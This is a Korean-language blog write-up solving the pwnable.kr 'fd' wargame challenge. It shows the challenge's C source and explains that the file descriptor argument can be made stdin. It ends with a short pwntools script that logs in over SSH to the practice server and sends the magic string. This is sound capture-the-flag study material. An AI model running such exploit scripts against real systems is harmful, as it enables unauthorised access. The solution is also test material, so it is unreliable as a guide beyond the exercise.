728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
2.2. 분석
주요 사항은 fd이며,
read(fd,buf,32);
부분이 된다.
뭐... 크게 설명할 부분은 없는 듯.
3. 취약점 확인 및 공격 준비
3.1. 취약점
취약점이라고 하기에도 뭣하다...
read에서 첫번째 인자인 fd는 입력 받을 방법을 말하는데, 0이면 stdin이 된다.
3.2. 공격 준비
별도로 공격 준비를 할건 없고, pwntools를 통한 접속 및 인자 전달 방법을 연습한다고 생각하며 풀었다.
4. exploit
from pwn import *
s = ssh(user='fd',host='pwnable.kr',port=2222,password='guest')
p = s.process(['./fd',str(0x1234)])
p.sendline(b'LETMEWIN')
print(p.recvline().decode())
print(p.recvline().decode())
┌[WyV3rN]-(d/hack)-
└> python3 a.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.179
ASLR: Enabled
[+] Starting remote process bytearray(b'./fd') on
pwnable.kr: pid 406811
good job :)
----------#플래그는 삭제
728x90
반응형
'Wargame > pwnable.kr' 카테고리의 다른 글
input (0) | 2022.12.28 |
---|---|
random (0) | 2022.12.28 |
passcode (0) | 2022.12.27 |
bof (0) | 2022.12.27 |
collision (0) | 2022.12.27 |